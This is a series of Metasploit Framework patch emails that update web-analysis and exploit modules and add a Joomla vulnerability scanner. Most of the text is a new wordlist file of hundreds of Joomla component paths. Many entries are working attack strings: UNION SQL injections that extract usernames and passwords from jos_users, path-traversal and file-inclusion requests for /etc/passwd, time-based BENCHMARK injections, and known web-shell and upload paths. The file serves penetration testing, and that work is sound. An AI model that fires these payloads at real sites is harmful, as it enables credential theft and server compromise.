Subject: [PATCH 018/129] Auxiliary::Web::Analysis::Timing Updated to pick the largest matching payload from the payload list. --- lib/msf/core/auxiliary/web/analysis/timing.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/web/analysis/timing.rb b/lib/msf/core/auxiliary/web/analysis/timing.rb index 9d6b3e5647..32608cf077 100644 --- a/lib/msf/core/auxiliary/web/analysis/timing.rb +++ b/lib/msf/core/auxiliary/web/analysis/timing.rb @@ -54,7 +54,8 @@ module Analysis::Timing timeout = opts[:delay] seed = p.altered_value.dup - payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }.first + payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }. + sort_by { |p2| p2.size }.last # 1st pass, make sure the webapp is responsive if_responsive do From 6b5c6c3a0cb5ab92a0aed63b178498ab46da7e1c Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Tue, 22 Jan 2013 23:41:36 +0200 Subject: [PATCH 019/129] Auxiliary::Web::Analysis::Differential Removed payload option from #process_vulnerability call --- lib/msf/core/auxiliary/web/analysis/differential.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb index ee3c0c8aea..0d53c1236b 100644 --- a/lib/msf/core/auxiliary/web/analysis/differential.rb +++ b/lib/msf/core/auxiliary/web/analysis/differential.rb @@ -101,7 +101,7 @@ module Analysis::Differential # save the response and some data for analysis responses[:good][elem.altered] << { 'res' => res, - 'elem' => elem + 'elem' => elem.dup } end end @@ -122,8 +122,7 @@ module Analysis::Differential http.if_not_custom_404( action, res['res'].body ) do # if this isn't a custom 404 page then it means that # the element is vulnerable, so go ahead and log the issue - fuzzer.process_vulnerability( res['elem'], 'Boolean manipulation.', - :payload => res['elem'].altered_value ) + fuzzer.process_vulnerability( res['elem'], 'Boolean manipulation.' ) end end end From 477ab65d55be2985cf2a0b0ed347a54ca7c5ac02 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Wed, 23 Jan 2013 23:05:22 +0200 Subject: [PATCH 020/129] Exploit::Remote::Web: added #tries method #tries method indicates how many times we should run a module until we establish a session. --- lib/msf/core/exploit/web.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/web.rb b/lib/msf/core/exploit/web.rb index bd86a410cb..df77fa4c36 100644 --- a/lib/msf/core/exploit/web.rb +++ b/lib/msf/core/exploit/web.rb @@ -28,7 +28,7 @@ module Exploit::Remote::Web super register_options([ - OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ), + OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ), OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ), OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ), OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ), @@ -76,13 +76,19 @@ module Exploit::Remote::Web def exploit print_status "Sending HTTP request for #{path}" if res = perform_request - print_status "The server responded with HTTP status code #{res.code}." - else - print_status 'The server did not respond to our request.' - end + print_status "The server responded with HTTP status code #{res.code}." + else + print_status 'The server did not respond to our request.' + end handler + end + + def tries + 1 end + private + def perform_request send_request_cgi({ 'global' => true, From 6e94c04a52bc2f90557bffe332abaeb7030051f2 Mon Sep 17 00:00:00 2001 From: f8lerror Date: Wed, 23 Jan 2013 20:26:23 -0500 Subject: [PATCH 021/129] Code Corrections and Enhancements --- data/wordlists/joomla.txt | 627 ++++++++++++++++++ .../auxiliary/scanner/http/joomla_vulnscan.rb | 160 +++-- 2 files changed, 719 insertions(+), 68 deletions(-) create mode 100755 data/wordlists/joomla.txt diff --git a/data/wordlists/joomla.txt b/data/wordlists/joomla.txt new file mode 100755 index 0000000000..b1e651d504 --- /dev/null +++ b/data/wordlists/joomla.txt @@ -0,0 +1,627 @@ +&controller=../../../../../../../../../../../../[LFI]%00 +?1.5.10-x +?1.5.11-x-http_ref +?1.5.11-x-php-s3lf +?1.5.3-path-disclose +?1.5.3-spam +?1.5.8-x +?1.5.9-x +?j1012-fixate-session +?option=com_mysms&Itemid=0&task=phonebook +Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png +admin/ +administrator/ +administrator/components/ +administrator/components/com_a6mambocredits/ +administrator/components/com_a6mambohelpdesk/ +administrator/components/com_admin/admin.admin.html.php +administrator/components/com_astatspro/refer.php +administrator/components/com_bayesiannaivefilter/ +administrator/components/com_chronocontact/excelwriter/PPS/File.php +administrator/components/com_colophon/ +administrator/components/com_colorlab/ +administrator/components/com_comprofiler/ +administrator/components/com_comprofiler/plugin.class.php +administrator/components/com_cropimage/admin.cropcanvas.php +administrator/components/com_extplorer/ +administrator/components/com_feederator/includes/tmsp/add_tmsp.php +administrator/components/com_googlebase/ +administrator/components/com_installer +administrator/components/com_jcs/ +administrator/components/com_jim/ +administrator/components/com_jjgallery/ +administrator/components/com_joom12pic/ +administrator/components/com_joomla-visites/ +administrator/components/com_joomla_flash_uploader/ +administrator/components/com_joomlaflashfun/ +administrator/components/com_joomlaradiov5/ +administrator/components/com_jpack/ +administrator/components/com_jreactions/ +administrator/components/com_juser/ +administrator/components/com_admin/ +administrator/components/com_kochsuite / +administrator/components/com_linkdirectory/ +administrator/components/com_livechat/getSavedChatRooms.php +administrator/components/com_livechat/xmlhttp.php +administrator/components/com_lurm_constructor/admin.lurm_constructor.php +administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php"); +administrator/components/com_mambelfish/ +administrator/components/com_mgm/ +administrator/components/com_mmp/help.mmp.php +administrator/components/com_mosmedia/ +administrator/components/com_multibanners/extadminmenus.class.php +administrator/components/com_panoramic/ +administrator/components/com_peoplebook/param.peoplebook.php +administrator/components/com_phpshop/toolbar.phpshop.html.php +administrator/components/com_remository/admin.remository.php +administrator/components/com_serverstat/install.serverstat.php +administrator/components/com_simpleswfupload/uploadhandler.php"); +administrator/components/com_swmenupro/ +administrator/components/com_treeg/ +administrator/components/com_uhp/ +administrator/components/com_uhp2/ +administrator/components/com_webring/ +administrator/components/com_wmtgallery/ +administrator/components/com_wmtportfolio/ +administrator/components/com_x-shop/ +administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ +administrator/index.php?option=com_searchlog&act=log +ajaxim/ +akocomments.php +cart?Itemid=[SQLi] +component/com__brightweblinks/ +component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 +component/osproperty/?task=agent_register +component/quran/index.php?option=com_quran&action=viewayat&surano= +components/com_ clickheat/ +components/com_5starhotels/ +components/com_Jambook/jambook.php +components/com_a6mambocredits/ +components/com_a6mambohelpdesk/ +components/com_ab_gallery/ +components/com_acajoom/ +components/com_acctexp/ +components/com_aclassf/ +components/com_activities/ +components/com_actualite/ +components/com_admin/admin.admin.html.php +components/com_advancedpoll/ +components/com_agora/ +components/com_agoragroup/ +components/com_ajaxchat/ +components/com_akobook/ +components/com_akocomment/ +components/com_akogallery +components/com_alberghi/ +components/com_allhotels/ +components/com_alphacontent/ +components/com_altas/ +components/com_amocourse/ +components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php +components/com_articles/ +components/com_artist/ +components/com_artlinks/ +components/com_asortyment/ +components/com_astatspro/ +components/com_awesom/ +components/com_babackup/ +components/com_banners/ +components/com_bayesiannaivefilter/ +components/com_be_it_easypartner/ +components/com_beamospetition/ +components/com_biblestudy/ +components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_blog/ +components/com_bookflip/ +components/com_bookjoomlas/ +components/com_booklibrary/ +components/com_books/ +components/com_bsadv/ +components/com_bsq_sitestats/ +components/com_bsq_sitestats/external/rssfeed.php +components/com_bsqsitestats/ +components/com_calendar/ +components/com_camelcitydb2/ +components/com_candle/ +components/com_casino_blackjack/ +components/com_casino_videopoker/ +components/com_casinobase/ +components/com_catalogproduction/ +components/com_catalogshop/ +components/com_category/ +components/com_cgtestimonial/video.php?url="> +components/com_chronocontact/excelwriter/PPS/File.php +components/com_cinema/ +components/com_clasifier/ +components/com_classifieds/ +components/com_clickheat/ +components/com_cloner/ +components/com_cmimarketplace/ +components/com_cms/ +components/com_colophon/ +components/com_colorlab/ +components/com_competitions/ +components/com_comprofiler/ +components/com_comprofiler/plugin.class.php +components/com_contactinfo/ +components/com_content/ +components/com_cpg/cpg.php +components/com_cropimage/admin.cropcanvas.php +components/com_custompages/ +components/com_cx/ +components/com_d3000/ +components/com_dadamail/ +components/com_dailymessage/ +components/com_datsogallery/ +components/com_dbquery/ +components/com_detail/ +components/com_digistore/ +components/com_directory/ +components/com_djiceshoutbox/ +components/com_doc/ +components/com_downloads/ +components/com_ds-syndicate/ +components/com_dtregister/ +components/com_dv/externals/phpupload/upload.php"); +components/com_easybook/ +components/com_emcomposer/ +components/com_equotes/ +components/com_estateagent/ +components/com_eventing/ +components/com_eventlist/ +components/com_events/ +components/com_ewriting/ +components/com_expose/uploadimg.php +components/com_expshop/ +components/com_extcalendar/ +components/com_extcalendar/cal_popup.php?extmode=view&extid= +components/com_extcalendar/extcalendar.php +components/com_extended_registration/registration_detailed.inc.php +components/com_extplorer/ +components/com_ezine/ +components/com_ezstore/ +components/com_facileforms/ +components/com_fantasytournament/ +components/com_faq/ +components/com_feederator/includes/tmsp/add_tmsp.php +components/com_filebase/ +components/com_filiale/ +components/com_flashfun/ +components/com_flashmagazinedeluxe/ +components/com_flippingbook/ +components/com_flyspray/startdown.php +components/com_fm/fm.install.php +components/com_foevpartners/ +components/com_football/ +components/com_formtool/ +components/com_forum/ +components/com_fq/ +components/com_fundraiser/ +components/com_galeria/ +components/com_galleria/galleria.html.php +components/com_gallery/ +components/com_game/ +components/com_gameq/ +components/com_garyscookbook/ +components/com_genealogy/ +components/com_geoboerse/ +components/com_gigcal/ +components/com_gmaps/ +components/com_googlebase/ +components/com_gsticketsystem/ +components/com_guide/ +components/com_hashcash/server.php +components/com_hbssearch/ +components/com_hello_world/ +components/com_hotproperties/ +components/com_hotproperty/ +components/com_hotspots/ +components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php +components/com_hwdvideoshare/ +components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); +components/com_ice/ +components/com_idoblog/ +components/com_idvnews/ +components/com_ignitegallery/ +components/com_ijoomla_archive/ +components/com_ijoomla_rss/ +components/com_inter/ +components/com_ionfiles/ +components/com_is/ +components/com_ixxocart/ +components/com_jabode/ +components/com_jashowcase/ +components/com_jb2/ +components/com_jce/ +components/com_jcs/ +components/com_jd-wiki/ +components/com_jd-wp/ +components/com_jim/ +components/com_jjgallery/ +components/com_jmovies/ +components/com_jobline/ +components/com_jombib/ +components/com_joobb/ +components/com_jooget/ +components/com_joom12pic/ +components/com_joomla-visites/ +components/com_joomla_flash_uploader/ +components/com_joomlaboard/ +components/com_joomladate/ +components/com_joomlaflashfun/ +components/com_joomlalib/ +components/com_joomlaradiov5/ +components/com_joomlavvz/ +components/com_joomlaxplorer/ +components/com_joomloads/ +components/com_joomradio/ +components/com_joomtracker/ +components/com_joovideo/ +components/com_jotloader/ +components/com_journal/ +components/com_jpack/ +components/com_jpad/ +components/com_jreactions/ +components/com_jreviews/scripts/xajax.inc.php +components/com_jumi/ +components/com_juser/ +components/com_jvideo/ +components/com_k2/ +components/com_kbase/ +components/com_knowledgebase/fckeditor/fckeditor.js +components/com_kochsuite / +components/com_kunena/ +components/com_letterman/ +components/com_lexikon/ +components/com_linkdirectory/ +components/com_listoffreeads/ +components/com_livechat/getSavedChatRooms.php +components/com_livechat/xmlhttp.php +components/com_liveticker/ +components/com_lm/ +components/com_lmo/ +components/com_loudmounth/includes/abbc/abbc.class.php +components/com_loudmouth/ +components/com_lowcosthotels/ +components/com_lurm_constructor/admin.lurm_constructor.php +components/com_mad4joomla/ +components/com_madeira/img.php +components/com_maianmusic/ +components/com_mailarchive/ +components/com_mailto/ +components/com_mambatstaff/mambatstaff.php +components/com_mambelfish/ +components/com_mambospgm/ +components/com_mambowiki/MamboLogin.php +components/com_marketplace/ +components/com_mcquiz/ +components/com_mdigg/ +components/com_media_library/ +components/com_mediaslide/ +components/com_mezun/ +components/com_mgm/ +components/com_minibb/ +components/com_misterestate/ +components/com_mmp/help.mmp.php +components/com_model/ +components/com_moodle/moodle.php +components/com_moofaq/ +components/com_mosmedia/ +components/com_mospray/scripts/admin.php +components/com_mosres/ +components/com_most/ +components/com_mp3_allopass/ +components/com_mtree/ +components/com_mtree/img/listings/o/{id}.php +components/com_multibanners/extadminmenus.class.php +components/com_myalbum/ +components/com_mycontent/ +components/com_mydyngallery/ +components/com_mygallery/ +components/com_n-forms/ +components/com_na_content/ +components/com_na_mydocs/ +components/com_na_newsdescription/ +components/com_na_qforms/ +components/com_neogallery/ +components/com_neorecruit/ +components/com_neoreferences/ +components/com_netinvoice/ +components/com_news/ +components/com_news_portal/ +components/com_newsflash/ +components/com_nfn_addressbook/ +components/com_nicetalk/ +components/com_noticias/ +components/com_omnirealestate/ +components/com_omphotogallery/ +components/com_ongumatimesheet20/ +components/com_onlineflashquiz/ +components/com_ownbiblio/ +components/com_panoramic/ +components/com_paxgallery/ +components/com_paxxgallery/ +components/com_pcchess/ +components/com_pcchess/include.pcchess.php +components/com_pccookbook/ +components/com_pccookbook/pccookbook.php +components/com_peoplebook/param.peoplebook.php +components/com_performs/ +components/com_philaform/ +components/com_phocadocumentation/ +components/com_php/ +components/com_phpshop/toolbar.phpshop.html.php +components/com_pinboard/ +components/com_pms/ +components/com_poll/ +components/com_pollxt/ +components/com_ponygallery/ +components/com_portafolio/ +components/com_portfol/ +components/com_prayercenter/ +components/com_pro_desk/ +components/com_prod/ +components/com_productshowcase/ +components/com_profiler/ +components/com_projectfork/ +components/com_propertylab/ +components/com_puarcade/ +components/com_publication/ +components/com_quiz/ +components/com_rapidrecipe/ +components/com_rdautos/ +components/com_realestatemanager/ +components/com_recly/ +components/com_referenzen/ +components/com_rekry/ +components/com_remository/admin.remository.php +components/com_remository_files/file_image_14/1276100016shell.php +components/com_reporter/processor/reporter.sql.php +components/com_resman/ +components/com_restaurante/ +components/com_ricette/ +components/com_rsfiles/ +components/com_rsgallery/ +components/com_rsgallery2/ +components/com_rss/ +components/com_rssreader/ +components/com_rssxt/ +components/com_rwcards/ +components/com_school/ +components/com_search/ +components/com_sebercart/getPic.php?p=[LFD]%00 +components/com_securityimages/ +components/com_sef/ +components/com_seminar/ +components/com_serverstat/install.serverstat.php +components/com_sg/ +components/com_simple_review/ +components/com_simpleboard/ +components/com_simplefaq/ +components/com_simpleshop/ +components/com_sitemap/sitemap.xml.php +components/com_slideshow/ +components/com_smf/ +components/com_smf/smf.php +components/com_swmenupro/ +components/com_team/ +components/com_tech_article/ +components/com_thopper/ +components/com_thyme/ +components/com_tickets/ +components/com_tophotelmodule/ +components/com_tour_toto/ +components/com_trade/ +components/com_uhp/ +components/com_uhp2/ +components/com_user/controller.php +components/com_users/ +components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php +components/com_vehiclemanager/ +components/com_versioning / +components/com_videodb/core/videodb.class.xml.php +components/com_virtuemart/ +components/com_volunteer/ +components/com_vr/ +components/com_waticketsystem/ +components/com_webhosting/ +components/com_weblinks/ +components/com_webring/ +components/com_wmtgallery/ +components/com_wmtportfolio/ +components/com_x-shop/ +components/com_xevidmegahd/ +components/com_xewebtv/ +components/com_xfaq/ +components/com_xgallery/helpers/img.php?file= +components/com_xsstream-dm/ +components/com_ynews/ +components/com_yvcomment/ +components/com_zoom/classes/ +components/mod_letterman/ +components/remository/ +eXtplorer/ +easyblog/entry/uncategorized +extplorer/ +components/com_mtree/img/listings/o/{id}.php where {id} +includes/joomla.php +index.php/404' +index.php/?option=com_question&catID=21' and+1=0 union all +index.php/image-gallery/">/25-koala +index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 +index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view +index.php?option=com_aardvertiser&cat_name=conf&task=<= +index.php?option=com_aardvertiser&task= +index.php?option=com_abc&view=abc&letter=AS§ionid=' +index.php?option=com_advert&id=36' +index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users-- +index.php?option=com_alfurqan15x&action=viewayat&surano= +index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version +index.php?option=com_annonces&view=edit&Itemid=1 +index.php?option=com_articleman&task=new +index.php?option=com_bbs&bid=-1 +index.php?option=com_beamospetition&startpage=3&pet=- +index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users- +index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 +index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1 +index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users-- +index.php?option=com_chronoconnectivity&itemid=1 +index.php?option=com_chronocontact&itemid=1 +index.php?option=com_cinema&Itemid=S@BUN&func=detail&id= +index.php?option=com_clantools&squad=1+ +index.php?option=com_clantools&task=clanwar&showgame=1+ +index.php?option=com_commedia&format=raw&task=image&pid=4&id=964' +index.php?option=com_commedia&task=page&commpid=21 +index.php?option=com_connect&view=connect&controller= +index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ +index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_dioneformwizard&controller=[LFI]%00 +index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1 +index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 +index.php?option=com_easyfaq&Itemid=1&task=view&gid= +index.php?option=com_easyfaq&catid=1&task=view&id=-2527+ +index.php?option=com_easyfaq&task=view&contact_id= +index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id= +index.php?option=com_equipment&task=components&id=45&sec_men_id= +index.php?option=com_equipment&view=details&id= +index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] +index.php?option=com_etree&view=displays&layout=category&id=[SQL] +index.php?option=com_etree&view=displays&layout=user&user_id=[SQL] +index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 +index.php?option=com_fabrik&view=table&tableid=13+union+select+1---- +index.php?option=com_filecabinet&task=download&cid[]=7 +index.php?option=com_firmy&task=section_show_set&Id=-1 +index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R +index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id= +index.php?option=com_graphics&controller= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp= +index.php?option=com_huruhelpdesk&view=detail +index.php?option=com_huruhelpdesk&view=detail&cid[0]= +index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1 +index.php?option=com_iproperty&view=agentproperties&id= +index.php?option=com_jacomment&view= +index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 +index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_jcommunity&controller=members&task=1' +index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13 +index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2 +index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2 +index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 +index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_jfuploader&Itemid= +index.php?option=com_jgen&task=view&id= +index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00 +index.php?option=com_jimtawl&Itemid=12&task= +index.php?option=com_jmarket&controller=product&task=1' +index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1' +index.php?option=com_jomdirectory&task=search&type=111+ +index.php?option=com_joomdle&view=detail&cat_id=1&course_id= +index.php?option=com_joomla_flash_uploader&Itemid=1 +index.php?option=com_joomleague&func=showNextMatch&p=[sqli] +index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli] +index.php?option=com_joomtouch&controller= +index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00 +index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00 +index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users +index.php?option=com_jstore&controller=product-display&task=1' +index.php?option=com_jsubscription&controller=subscription&task=1' +index.php?option=com_jtickets&controller=ticket&task=1' +index.php?option=com_konsultasi&act=detail&sid= +index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en +index.php?option=com_kunena&func=userlist&search= +index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1' +index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users-- +index.php?option=com_matamko&controller= +index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm +index.php?option=com_neorecruit&task=offer_view&id= +index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- +index.php?option=com_noticeboard&controller= +index.php?option=com_obsuggest&controller= +index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- +index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- +index.php?option=com_oziogallery&Itemid= +index.php?option=com_page&id=53 +index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection] +index.php?option=com_phocagallery&view=categories&Itemid= +index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_php&file=../../../../../../../../../../etc/passwd +index.php?option=com_php&file=../images/phplogo.jpg +index.php?option=com_php&file=../js/ie_pngfix.js +index.php?option=com_ponygallery&Itemid=[sqli] +index.php?option=com_products&catid=-1 +index.php?option=com_products&id=-1 +index.php?option=com_products&product_id=-1 +index.php?option=com_products&task=category&catid=-1 +index.php?option=com_properties&task=agentlisting&aid= +index.php?option=com_qcontacts&Itemid=1' +index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts +index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_restaurantguide&view=country&id='&Itemid=69 +index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' +index.php?option=com_seyret&view= +index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users-- +index.php?option=com_smartsite&controller= +index.php?option=com_spa&view=spa_product&cid= +index.php?option=com_spidercalendar +index.php?option=com_spidercalendar&date=1' +index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_staticxt&staticfile=test.php&id=1923 +index.php?option=com_szallasok&mode=8&id=25 (SQL) +index.php?option=com_tag&task=tag&tag= +index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users-- +index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users +index.php?option=com_ultimateportfolio&controller= +index.php?option=com_users&view=registration +index.php?option=com_virtuemart&page=account.index&keyword=[sqli] +index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_x-shop&action=artdetail&idd=' +index.php?option=com_x-shop&action=artdetail&idd='[SQLi] +index.php?option=com_xcomp&controller=../../[LFI]%00 +index.php?option=com_xvs&controller=../../[LFI]%00 +index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users-- +index.php?option=com_yjcontactus&view= +index.php?option=com_youtube&id_cate=4 +index.php?option=com_zina&view=zina&Itemid=9 +index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id= +index.php?search=NoGe&option=com_esearch&searchId= +index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube +index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users-- +js/index.php?option=com_socialads&view=showad&Itemid=94 +libraries/joomla/utilities/compat/php50x.php +libraries/pcl/pcltar.php +libraries/phpmailer/phpmailer.php +libraries/phpxmlrpc/xmlrpcs.php +modules/mod_artuploader/upload.php"); +modules/mod_as_category.php +modules/mod_calendar.php +modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] +modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream"); +modules/mod_jfancy/script.php"); +modules/mod_ppc_simple_spotlight/elements/upload_file.php +modules/mod_ppc_simple_spotlight/img/ +modules/mod_pxt/ +modules/mod_quick_question.php +modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0 +patch/makedown.php?arquivo=../../../../etc/passwd +plugins/content/efup_files/helper.php"); +plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data"> +plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ +plugins/editors/xstandard/attachmentlibrary.php +print.php?task=person&id=36 and 1=1 +templates/be2004-2/ +templates/ja_purity/ +wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1-- +web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index 37bfc3d173..7b497d1846 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -2,7 +2,7 @@ # $Id: joomla_vulnscan.rb ## ## -#Thanks to @zeroSteiner @kaospunk helping with examples and questions. Also thanks to Joomscan and various MSF modules for code examples. +# Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to Joomscan and various MSF modules for code examples. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -21,30 +21,30 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Joomla Scanner', 'Description' => %q{ - This module scans a Joomla install for information and potential vulnerabilites. + This module scans a Joomla install for information, plugins and potential vulnerabilites. }, 'Author' => [ 'f8lerror' ], 'License' => MSF_LICENSE ) - register_options( + register_options( [ - OptString.new('PATH', [ true, "The path to the Joomla install", '/']), + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']), OptBool.new('ENUMERATE', [ false, "Enumerate Plugins", true]), OptPath.new('PLUGINS', [ false, "Path to list of plugins to enumerate", - 